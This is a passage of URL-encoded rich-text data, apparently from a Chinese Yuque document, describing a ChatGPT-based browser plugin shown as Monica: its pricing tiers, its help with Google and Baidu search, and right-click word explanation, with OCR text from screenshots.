bd253%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%EF%BC%8C%E8%BF%99%E4%B8%AA%E7%8E%A9%E6%84%8F%E7%8E%B0%E5%9C%A8%E8%B6%8A%E6%9D%A5%E8%B6%8A%E6%88%90%E7%86%9F%E4%BA%86%EF%BC%8C%E6%89%80%E4%BB%A5%E5%AE%83%E4%B9%9F%E5%BC%80%E5%A7%8B%E6%94%B6%E8%B4%B9%E4%BA%86%EF%BC%8C%E5%A4%A7%E5%AE%B6%E5%8F%AF%E4%BB%A5%E8%87%AA%E5%B7%B1%E6%84%9F%E5%8F%97%E4%B8%80%E4%B8%8B%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc23bb3c0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ua679aef1%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682593399571-8702e05a-f1cc-4d9d-aeb6-bf784234bf7f.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A950%2C%22height%22%3A744%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A56383%2C%22width%22%3A579.178955078125%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u52ed37ab-a729-4672-b992-3e1d5c14770%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A64%2C%22y%22%3A28%2C%22width%22%3A99%2C%22height%22%3A29%2C%22text%22%3A%22%E5%BD%93%E5%89%8D%E5%A5%97%E9%A4%90%22%7D%2C%7B%22x%22%3A89%2C%22y%22%3A108%2C%22width%22%3A143%2C%22height%22%3A16%2C%22text%22%3A%22%E6%82%A8%E5%BD%93%E5%89%8D%E7%9A%84%E5%A5%97%E9%A4%90%E6%98%AFFREE%22%7D%2C%7B%22x%22%3A620%2C%22y%22%3A132%2C%22width%22%3A15%2C%22height%22%3A26%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A762%2C%22y%22%3A132%2C%22width%22%3A37%2C%22height%22%3A21%2C%22text%22%3A%2230%22%7D%2C%7B%22x%22%3A89%2C%22y%22%3A150%2C%22width%22%3A165%2C%22height%22%3A16%2C%22text%22%3A%22%E6%82%A8%E6%AF%8F%E5%A4%A9%E5%8F%AA%E6%9C%8930%E6%9F%A5%E8%AF%A2%E6%AC%A1%E6%95%B0!%22%7D%2C%7B%22x%22%3A716%2C%22y%22%3A187%2C%22width%22%3A130%2C%22height%22%3A14%2C%22text%22%3A%22%E6%AF%8F%E5%A4%A9%E5%85%81%E8%AE%B8%E7%9A%84%E8%AF%B7%E6%B1%82%E6%AC%A1%E6%95%B0%22%7D%2C%7B%22x%22%3A579%2C%22y%22%3A188%2C%22width%22%3A99%2C%22height%22%3A14%2C%22text%22%3A%22%E4%BB%8A%E5%A4%A9%E7%9A%84%E8%AF%B7%E6%B1%82%E6%AC%A1%E6%95%B0%22%7D%2C%7B%22x%22%3A90%2C%22y%22%3A199%2C%22width%22%3A148%2C%22height%22%3A14%2C%22text%22%3A%22%E4%BC%BC%E4%B9%8E%E4%B8%8D%E5%A4%9F%E7%94%A8%3F%E8%8E%B7%E5%8F%96%E6%9B%B4%E5%A4%9A%22%7D%2C%7B%22x%22%3A64%2C%22y%22%3A285%2C%22width%22%3A98%2C%22height%22%3A26%2C%22text%22%3A%22%E9%AB%98%E7%BA%A7%E5%A5%97%E9%A4%90%22%7D%2C%7B%22x%22%3A394%2C%22y%22%3A366%2C%22width%22%3A58%2C%22height%22%3A16%2C%22text%22%3A%22%E7%B2%BE%E5%87%86%E5%9B%9E%E5%A4%8D%22%7D%2C%7B%22x%22%3A670%2C%22y%22%3A366%2C%22width%22%3A72%2C%22height%22%3A15%2C%22text%22%3A%22%E4%B8%8D%E9%99%90%E5%88%B6%E5%9B%BD%E5%88%AB%22%7D%2C%7B%22x%22%3A149%2C%22y%22%3A367%2C%22width%22%3A58%2C%22height%22%3A14%2C%22text%22%3A%22%E9%80%9F%E5%BA%A6%E7%BF%BB%E5%80%8D%22%7D%2C%7B%22x%22%3A392%2C%22y%22%3A412%2C%22width%22%3A149%2C%22height%22%3A19%2C%22text%22%3A%2224%E5%B0%8F%E6%97%B6%E5%86%85%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6%E6%94%AF%E6%8C%81%22%7D%2C%7B%22x%22%3A671%2C%22y%22%3A413%2C%22width%22%3A128%2C%22height%22%3A16%2C%22text%22%3A%22%E6%97%A9%E6%9C%9F%E8%AE%BF%E9%97%AE%E6%B5%8B%E8%AF%95%E7%89%88%E5%8A%9F%E8%83%BD%22%7D%2C%7B%22x%22%3A150%2C%22y%22%3A414%2C%22width%22%3A125%2C%22height%22%3A15%2C%22text%22%3A%22%E5%81%9C%E6%9C%BA%E6%97%B6%E9%97%B4%E5%B0%8F%E4%BA%8E0.01%25%22%7D%2C%7B%22x%22%3A577%2C%22y%22%3A502%2C%22width%22%3A46%2C%22height%22%3A42%2C%22text%22%3A%22POPULAR%22%7D%2C%7B%22x%22%3A674%2C%22y%22%3A525%2C%22width%22%3A32%2C%22height%22%3A13%2C%22text%22%3A%22ELITE%22%7D%2C%7B%22x%22%3A91%2C%22y%22%3A526%2C%22width%22%3A48%2C%22height%22%3A13%2C%22text%22%3A%22STARTER%22%7D%2C%7B%22x%22%3A382%2C%22y%22%3A526%2C%22width%22%3A42%2C%22height%22%3A12%2C%22text%22%3A%22BOOST%22%7D%2C%7B%22x%22%3A383%2C%22y%22%3A560%2C%22width%22%3A69%2C%22height%22%3A21%2C%22text%22%3A%22%2419%2F%E6%9C%88%22%7D%2C%7B%22x%22%3A675%2C%22y%22%3A561%2C%22width%22%3A73%2C%22height%22%3A21%2C%22text%22%3A%22%2439%2F%E6%9C%88%22%7D%2C%7B%22x%22%3A91%2C%22y%22%3A561%2C%22width%22%3A78%2C%22height%22%3A21%2C%22text%22%3A%22%249.9%2F%E6%9C%88%22%7D%2C%7B%22x%22%3A90%2C%22y%22%3A597%2C%22width%22%3A122%2C%22height%22%3A17%2C%22text%22%3A%22%E6%AF%8F%E6%9C%882500%E6%AC%A1%E6%9F%A5%E8%AF%A2%22%7D%2C%7B%22x%22%3A382%2C%22y%22%3A597%2C%22width%22%3A122%2C%22height%22%3A17%2C%22text%22%3A%22%E6%AF%8F%E6%9C%888000%E6%AC%A1%E6%9F%A5%E8%AF%A2%22%7D%2C%7B%22x%22%3A674%2C%22y%22%3A598%2C%22width%22%3A81%2C%22height%22%3A17%2C%22text%22%3A%22%E6%97%A0%E9%99%90%E6%AC%A1%E6%9F%A5%E8%AF%A2%22%7D%2C%7B%22x%22%3A170%2C%22y%22%3A670%2C%22width%22%3A59%2C%22height%22%3A15%2C%22text%22%3A%22%E7%AB%8B%E5%8D%B3%E8%AE%A2%E9%98%85%22%7D%2C%7B%22x%22%3A755%2C%22y%22%3A671%2C%22width%22%3A57%2C%22height%22%3A15%2C%22text%22%3A%22%E7%AB%8B%E5%8D%B3%E8%AE%A2%E9%98%85%22%7D%2C%7B%22x%22%3A464%2C%22y%22%3A671%2C%22width%22%3A57%2C%22height%22%3A14%2C%22text%22%3A%22%E7%AB%8B%E5%8D%B3%E8%AE%A2%E9%98%85%22%7D%5D%2C%22search%22%3A%22%E5%BD%93%E5%89%8D%E5%A5%97%E9%A4%90%20%E6%82%A8%E5%BD%93%E5%89%8D%E7%9A%84%E5%A5%97%E9%A4%90%E6%98%AFFREE%201%2030%20%E6%82%A8%E6%AF%8F%E5%A4%A9%E5%8F%AA%E6%9C%8930%E6%9F%A5%E8%AF%A2%E6%AC%A1%E6%95%B0!%20%E6%AF%8F%E5%A4%A9%E5%85%81%E8%AE%B8%E7%9A%84%E8%AF%B7%E6%B1%82%E6%AC%A1%E6%95%B0%20%E4%BB%8A%E5%A4%A9%E7%9A%84%E8%AF%B7%E6%B1%82%E6%AC%A1%E6%95%B0%20%E4%BC%BC%E4%B9%8E%E4%B8%8D%E5%A4%9F%E7%94%A8%3F%E8%8E%B7%E5%8F%96%E6%9B%B4%E5%A4%9A%20%E9%AB%98%E7%BA%A7%E5%A5%97%E9%A4%90%20%E7%B2%BE%E5%87%86%E5%9B%9E%E5%A4%8D%20%E4%B8%8D%E9%99%90%E5%88%B6%E5%9B%BD%E5%88%AB%20%E9%80%9F%E5%BA%A6%E7%BF%BB%E5%80%8D%2024%E5%B0%8F%E6%97%B6%E5%86%85%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6%E6%94%AF%E6%8C%81%20%E6%97%A9%E6%9C%9F%E8%AE%BF%E9%97%AE%E6%B5%8B%E8%AF%95%E7%89%88%E5%8A%9F%E8%83%BD%20%E5%81%9C%E6%9C%BA%E6%97%B6%E9%97%B4%E5%B0%8F%E4%BA%8E0.01%25%20POPULAR%20ELITE%20STARTER%20BOOST%20%2419%2F%E6%9C%88%20%2439%2F%E6%9C%88%20%249.9%2F%E6%9C%88%20%E6%AF%8F%E6%9C%882500%E6%AC%A1%E6%9F%A5%E8%AF%A2%20%E6%AF%8F%E6%9C%888000%E6%AC%A1%E6%9F%A5%E8%AF%A2%20%E6%97%A0%E9%99%90%E6%AC%A1%E6%9F%A5%E8%AF%A2%20%E7%AB%8B%E5%8D%B3%E8%AE%A2%E9%98%85%20%E7%AB%8B%E5%8D%B3%E8%AE%A2%E9%98%85%20%E7%AB%8B%E5%8D%B3%E8%AE%A2%E9%98%85%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23e3c494%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8bc7008a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u862af3f2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%AA%E6%8F%92%E4%BB%B6%E6%9C%80%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8A%9F%E8%83%BD%E5%B0%B1%E6%98%AF%E6%90%9C%E7%B4%A2%E8%BE%85%E5%8A%A9%EF%BC%8C%E4%BC%9A%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u39fc9cf4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E7%9B%B4%E6%8E%A5%E5%AF%B9%E4%BD%A0google%E7%9A%84%E6%90%9C%E7%B4%A2%E7%BB%93%E6%9E%9C%E5%81%9A%E4%BC%98%E5%8C%96%EF%BC%8C%E7%9B%B4%E6%8E%A5%E8%BF%94%E5%9B%9E%E4%BD%A0i%E6%83%B3%E8%A6%81%E6%9F%A5%E8%AF%A2%E7%9A%84%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uef3344fe%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E3%80%82%E5%8F%AF%E4%BB%A5%E5%A4%A7%E5%B9%85%E5%BA%A6%E8%8A%82%E7%9C%81%E6%89%BE%E5%88%B0%E7%AD%94%E6%A1%88%E7%9A%84%E6%97%B6%E9%97%B4%E3%80%82%E6%9C%80%E7%89%9B%E7%9A%84%E6%98%AF%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u79316111%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%AE%83%E8%BF%98%E6%94%AF%E6%8C%81%E7%99%BE%E5%BA%A6%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7020cea8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uaa363035%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u1c65a5fe%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682594636252-d163c63c-bbea-47d3-99b5-45a37ef2348b.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1313%2C%22height%22%3A447%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A162349%2C%22width%22%3A1193.6363377649927%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22uae0acb40-6433-4c9b-9991-5a5b9c773c6%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A632%2C%22y%22%3A18%2C%22width%22%3A65%2C%22height%22%3A21%2C%22text%22%3A%22X%20%22%7D%2C%7B%22x%22%3A735%2C%22y%22%3A19%2C%22width%22%3A69%2C%22height%22%3A18%2C%22text%22%3A%22%E7%99%BE%E5%BA%A6%E4%B8%80%E4%B8%8B%22%7D%2C%7B%22x%22%3A136%2C%22y%22%3A23%2C%22width%22%3A103%2C%22height%22%3A17%2C%22text%22%3A%22CHATGPT%E6%98%AF%E4%BB%80%E4%B9%88%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A24%2C%22width%22%3A105%2C%22height%22%3A20%2C%22text%22%3A%22BAIDU%E7%99%BE%E5%BA%A6%22%7D%2C%7B%22x%22%3A774%2C%22y%22%3A62%2C%22width%22%3A33%2C%22height%22%3A17%2C%22text%22%3A%22%E6%9B%B4%E5%A4%9A%22%7D%2C%7B%22x%22%3A569%2C%22y%22%3A62%2C%22width%22%3A42%2C%22height%22%3A16%2C%22text%22%3A%22%E5%8F%A3%E8%A7%86%E9%A2%91%22%7D%2C%7B%22x%22%3A281%2C%22y%22%3A63%2C%22width%22%3A45%2C%22height%22%3A17%2C%22text%22%3A%22%E5%9B%BD%E8%B5%84%E8%AE%AF%22%7D%2C%7B%22x%22%3A350%2C%22y%22%3A63%2C%22width%22%3A46%2C%22height%22%3A16%2C%22text%22%3A%22%E8%B4%B4%E8%B4%B4%E5%90%A7%22%7D%2C%7B%22x%22%3A637%2C%22y%22%3A63%2C%22width%22%3A42%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8F%A3%E5%9C%B0%E5%9B%BE%22%7D%2C%7B%22x%22%3A494%2C%22y%22%3A63%2C%22width%22%3A44%2C%22height%22%3A15%2C%22text%22%3A%22%E6%97%A5%E5%9B%BE%E7%89%87%22%7D%2C%7B%22x%22%3A138%2C%22y%22%3A63%2C%22width%22%3A45%2C%22height%22%3A15%2C%22text%22%3A%22Q%E7%BD%91%E9%A1%B5%22%7D%2C%7B%22x%22%3A424%2C%22y%22%3A63%2C%22width%22%3A43%2C%22height%22%3A17%2C%22text%22%3A%22%E5%8F%A3%E6%96%87%E5%BA%93%22%7D%2C%7B%22x%22%3A708%2C%22y%22%3A63%2C%22width%22%3A46%2C%22height%22%3A15%2C%22text%22%3A%22%E8%A1%80%E9%87%87%E8%B4%AD%22%7D%2C%7B%22x%22%3A222%2C%22y%22%3A64%2C%22width%22%3A32%2C%22height%22%3A15%2C%22text%22%3A%22%E7%9F%A5%E9%81%93%22%7D%2C%7B%22x%22%3A232%2C%22y%22%3A101%2C%22width%22%3A98%2C%22height%22%3A17%2C%22text%22%3A%22%E6%89%80%E6%9C%89%E7%BD%91%E9%A1%B5%E5%92%8C%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A366%2C%22y%22%3A102%2C%22width%22%3A71%2C%22height%22%3A15%2C%22text%22%3A%22%E7%AB%99%E7%82%B9%E5%86%85%E6%A3%80%E7%B4%A2%22%7D%2C%7B%22x%22%3A137%2C%22y%22%3A102%2C%22width%22%3A55%2C%22height%22%3A15%2C%22text%22%3A%22%E6%97%B6%E9%97%B4%E4%B8%8D%E9%99%90%22%7D%2C%7B%22x%22%3A634%2C%22y%22%3A102%2C%22width%22%3A66%2C%22height%22%3A14%2C%22text%22%3A%22%E5%85%A5%E6%94%B6%E8%B5%B7%E5%B7%A5%E5%85%B7%22%7D%2C%7B%22x%22%3A1130%2C%22y%22%3A151%2C%22width%22%3A54%2C%22height%22%3A15%2C%22text%22%3A%22%E7%9B%B8%E5%85%B3%E9%97%AE%E9%A2%98%22%7D%2C%7B%22x%22%3A1049%2C%22y%22%3A153%2C%22width%22%3A15%2C%22height%22%3A14%2C%22text%22%3A%22%E5%90%88%22%7D%2C%7B%22x%22%3A904%2C%22y%22%3A153%2C%22width%22%3A54%2C%22height%22%3A15%2C%22text%22%3A%22MONICA%22%7D%2C%7B%22x%22%3A162%2C%22y%22%3A153%2C%22width%22%3A92%2C%22height%22%3A19%2C%22text%22%3A%22%E6%90%9C%E7%B4%A2%E6%99%BA%E8%83%BD%E7%B2%BE%E9%80%89%22%7D%2C%7B%22x%22%3A139%2C%22y%22%3A182%2C%22width%22%3A175%2C%22height%22%3A22%2C%22text%22%3A%22CHATGPT_%E7%99%BE%E5%BA%A6%E7%99%BE%E7%A7%91%22%7D%2C%7B%22x%22%3A874%2C%22y%22%3A191%2C%22width%22%3A108%2C%22height%22%3A16%2C%22text%22%3A%22CHATGPT%E6%98%AF%E4%BB%80%E4%B9%88%3F%22%7D%2C%7B%22x%22%3A875%2C%22y%22%3A211%2C%22width%22%3A329%2C%22height%22%3A18%2C%22text%22%3A%22CHATGPT%E6%98%AF%E4%B8%80%E4%B8%AA%E5%9F%BA%E4%BA%8EGPT%E6%8A%80%E6%9C%AF%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%2C%E5%AE%83%E5%8F%AF%E4%BB%A5%E8%BF%9B%22%7D%2C%7B%22x%22%3A428%2C%22y%22%3A227%2C%22width%22%3A274%2C%22height%22%3A16%2C%22text%22%3A%22CHATGPT(%E5%85%A8%E5%90%8D%3ACHAT%20GENERATIVE%20PRE-TRAI%22%7D%2C%7B%22x%22%3A875%2C%22y%22%3A234%2C%22width%22%3A102%2C%22height%22%3A15%2C%22text%22%3A%22%E8%A1%8C%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%AF%B9%E8%AF%9D.%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A250%2C%22width%22%3A275%2C%22height%22%3A15%2C%22text%22%3A%22NED%20TRANSFOMER)%2C%E7%BE%8E%E5%9B%BDOPENAI%E7%A0%94%E5%8F%91%E7%9A%84%E8%81%8A%22%7D%2C%7B%22x%22%3A166%2C%22y%22%3A251%2C%22width%22%3A171%2C%22height%22%3A30%2C%22text%22%3A%22CHATGPT%3A%22%7D%2C%7B%22x%22%3A1181%2C%22y%22%3A260%2C%22width%22%3A29%2C%22height%22%3A15%2C%22text%22%3A%22%E6%8F%90%E9%97%AE%22%7D%2C%7B%22x%22%3A875%2C%22y%22%3A262%2C%22width%22%3A159%2C%22height%22%3A16%2C%22text%22%3A%221.CHATGP%E7%9A%84%E5%BC%80%E5%8F%91%E8%80%85%E6%98%AF%E8%B0%81%3F%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A273%2C%22width%22%3A274%2C%22height%22%3A16%2C%22text%22%3A%22%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%E7%A8%8B%E5%BA%8F%2C%E4%BA%8E2022%E5%B9%B411%E6%9C%8830%E6%97%A5%E5%8F%91%E5%B8%83.C%22%7D%2C%7B%22x%22%3A1180%2C%22y%22%3A289%2C%22width%22%3A31%2C%22height%22%3A16%2C%22text%22%3A%22%E6%8F%90%E9%97%AE%22%7D%2C%7B%22x%22%3A873%2C%22y%22%3A292%2C%22width%22%3A175%2C%22height%22%3A15%2C%22text%22%3A%222.CHATGPT%E5%8F%AF%E4%BB%A5%E7%94%A8%E6%9D%A5%E5%81%9A%E4%BB%80%E4%B9%88%3F%22%7D%2C%7B%22x%22%3A424%2C%22y%22%3A296%2C%22width%22%3A276%2C%22height%22%3A18%2C%22text%22%3A%22HATGPT%E6%98%AF%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E6%8A%80%E6%9C%AF%E9%A9%B1%E5%8A%A8%E7%9A%84%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%22%7D%2C%7B%22x%22%3A241%2C%22y%22%3A306%2C%22width%22%3A148%2C%22height%22%3A28%2C%22text%22%3A%22%E5%8F%B2%E4%B8%8A%E6%9C%80%E5%BC%BAAI%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A318%2C%22width%22%3A64%2C%22height%22%3A16%2C%22text%22%3A%22%E7%90%86...%E6%9B%B4%E5%A4%9A%22%7D%2C%7B%22x%22%3A1179%2C%22y%22%3A319%2C%22width%22%3A32%2C%22height%22%3A17%2C%22text%22%3A%22%E6%8F%90%E9%97%AE%22%7D%2C%7B%22x%22%3A874%2C%22y%22%3A323%2C%22width%22%3A160%2C%22height%22%3A15%2C%22text%22%3A%223.CHATGPT%E7%9A%84%E4%BC%98%E7%82%B9%E6%9C%89%E5%93%AA%E4%BA%9B%3F%22%7D%2C%7B%22x%22%3A239%2C%22y%22%3A339%2C%22width%22%3A149%2C%22height%22%3A23%2C%22text%22%3A%22%E5%8D%B3%E5%B0%86%E5%8F%96%E4%BB%A3%E4%BA%BA%E7%B1%BB%3F%22%7D%2C%7B%22x%22%3A151%2C%22y%22%3A349%2C%22width%22%3A65%2C%22height%22%3A16%2C%22text%22%3A%22%E5%90%8E%E5%B1%95%E5%BC%80%E6%92%AD%E6%94%BE%22%7D%2C%7B%22x%22%3A1181%2C%22y%22%3A350%2C%22width%22%3A29%2C%22height%22%3A16%2C%22text%22%3A%22%E6%8F%90%E9%97%AE%22%7D%2C%7B%22x%22%3A882%2C%22y%22%3A353%2C%22width%22%3A152%2C%22height%22%3A15%2C%22text%22%3A%224.CHATGP%E7%9A%84%E7%BC%BA%E7%82%B9%E6%9C%89%E5%93%AA%E4%BA%9B%3F%22%7D%2C%7B%22x%22%3A914%2C%22y%22%3A391%2C%22width%22%3A87%2C%22height%22%3A16%2C%22text%22%3A%22%E5%9C%A8%E8%81%8A%E5%A4%A9%E4%B8%AD%E7%BB%A7%E7%BB%AD%22%7D%2C%7B%22x%22%3A158%2C%22y%22%3A398%2C%22width%22%3A55%2C%22height%22%3A14%2C%22text%22%3A%22%E7%99%BE%E5%BA%A6%E7%99%BE%E7%A7%91%22%7D%2C%7B%22x%22%3A193%2C%22y%22%3A437%2C%22width%22%3A111%2C%22height%22%3A12%2C%22text%22%3A%22BT.%E7%99%BE%E5%BA%A6%E9%A2%97%E6%B2%BC%22%7D%5D%2C%22search%22%3A%22X%20%20%E7%99%BE%E5%BA%A6%E4%B8%80%E4%B8%8B%20CHATGPT%E6%98%AF%E4%BB%80%E4%B9%88%20BAIDU%E7%99%BE%E5%BA%A6%20%E6%9B%B4%E5%A4%9A%20%E5%8F%A3%E8%A7%86%E9%A2%91%20%E5%9B%BD%E8%B5%84%E8%AE%AF%20%E8%B4%B4%E8%B4%B4%E5%90%A7%20%E5%8F%A3%E5%9C%B0%E5%9B%BE%20%E6%97%A5%E5%9B%BE%E7%89%87%20Q%E7%BD%91%E9%A1%B5%20%E5%8F%A3%E6%96%87%E5%BA%93%20%E8%A1%80%E9%87%87%E8%B4%AD%20%E7%9F%A5%E9%81%93%20%E6%89%80%E6%9C%89%E7%BD%91%E9%A1%B5%E5%92%8C%E6%96%87%E4%BB%B6%20%E7%AB%99%E7%82%B9%E5%86%85%E6%A3%80%E7%B4%A2%20%E6%97%B6%E9%97%B4%E4%B8%8D%E9%99%90%20%E5%85%A5%E6%94%B6%E8%B5%B7%E5%B7%A5%E5%85%B7%20%E7%9B%B8%E5%85%B3%E9%97%AE%E9%A2%98%20%E5%90%88%20MONICA%20%E6%90%9C%E7%B4%A2%E6%99%BA%E8%83%BD%E7%B2%BE%E9%80%89%20CHATGPT_%E7%99%BE%E5%BA%A6%E7%99%BE%E7%A7%91%20CHATGPT%E6%98%AF%E4%BB%80%E4%B9%88%3F%20CHATGPT%E6%98%AF%E4%B8%80%E4%B8%AA%E5%9F%BA%E4%BA%8EGPT%E6%8A%80%E6%9C%AF%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%2C%E5%AE%83%E5%8F%AF%E4%BB%A5%E8%BF%9B%20CHATGPT(%E5%85%A8%E5%90%8D%3ACHAT%20GENERATIVE%20PRE-TRAI%20%E8%A1%8C%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%AF%B9%E8%AF%9D.%20NED%20TRANSFOMER)%2C%E7%BE%8E%E5%9B%BDOPENAI%E7%A0%94%E5%8F%91%E7%9A%84%E8%81%8A%20CHATGPT%3A%20%E6%8F%90%E9%97%AE%201.CHATGP%E7%9A%84%E5%BC%80%E5%8F%91%E8%80%85%E6%98%AF%E8%B0%81%3F%20%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%E7%A8%8B%E5%BA%8F%2C%E4%BA%8E2022%E5%B9%B411%E6%9C%8830%E6%97%A5%E5%8F%91%E5%B8%83.C%20%E6%8F%90%E9%97%AE%202.CHATGPT%E5%8F%AF%E4%BB%A5%E7%94%A8%E6%9D%A5%E5%81%9A%E4%BB%80%E4%B9%88%3F%20HATGPT%E6%98%AF%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E6%8A%80%E6%9C%AF%E9%A9%B1%E5%8A%A8%E7%9A%84%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%20%E5%8F%B2%E4%B8%8A%E6%9C%80%E5%BC%BAAI%20%E7%90%86...%E6%9B%B4%E5%A4%9A%20%E6%8F%90%E9%97%AE%203.CHATGPT%E7%9A%84%E4%BC%98%E7%82%B9%E6%9C%89%E5%93%AA%E4%BA%9B%3F%20%E5%8D%B3%E5%B0%86%E5%8F%96%E4%BB%A3%E4%BA%BA%E7%B1%BB%3F%20%E5%90%8E%E5%B1%95%E5%BC%80%E6%92%AD%E6%94%BE%20%E6%8F%90%E9%97%AE%204.CHATGP%E7%9A%84%E7%BC%BA%E7%82%B9%E6%9C%89%E5%93%AA%E4%BA%9B%3F%20%E5%9C%A8%E8%81%8A%E5%A4%A9%E4%B8%AD%E7%BB%A7%E7%BB%AD%20%E7%99%BE%E5%BA%A6%E7%99%BE%E7%A7%91%20BT.%E7%99%BE%E5%BA%A6%E9%A2%97%E6%B2%BC%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23fbfaf9%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ufab21375%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u8d37e9e6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%99%A4%E6%AD%A4%E4%B9%8B%E5%A4%96%EF%BC%8C%E8%BF%98%E6%9C%89%E4%B8%80%E4%BA%9B%E6%AF%94%E8%BE%83%E6%9C%89%E6%84%8F%E6%80%9D%E7%9A%84%E4%B8%9C%E8%A5%BF%EF%BC%8C%E6%AF%94%E5%A6%82%E8%AF%B4%E5%88%92%E8%AF%8D%E5%8F%B3%E9%94%AE%E8%A7%A3%E9%87%8A%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u69f33a76%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u7bc82891%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682594717716-4cfd884e-3119-4faa-8983-e9a05b6c31e3.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A504%2C%22height%22%3A447%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A39056%2C%22width%22%3A572.1817932128906%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u2e705b7b-7f9b-4c0b-be8a-4aee40a03a1%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A475%2C%22y%22%3A6%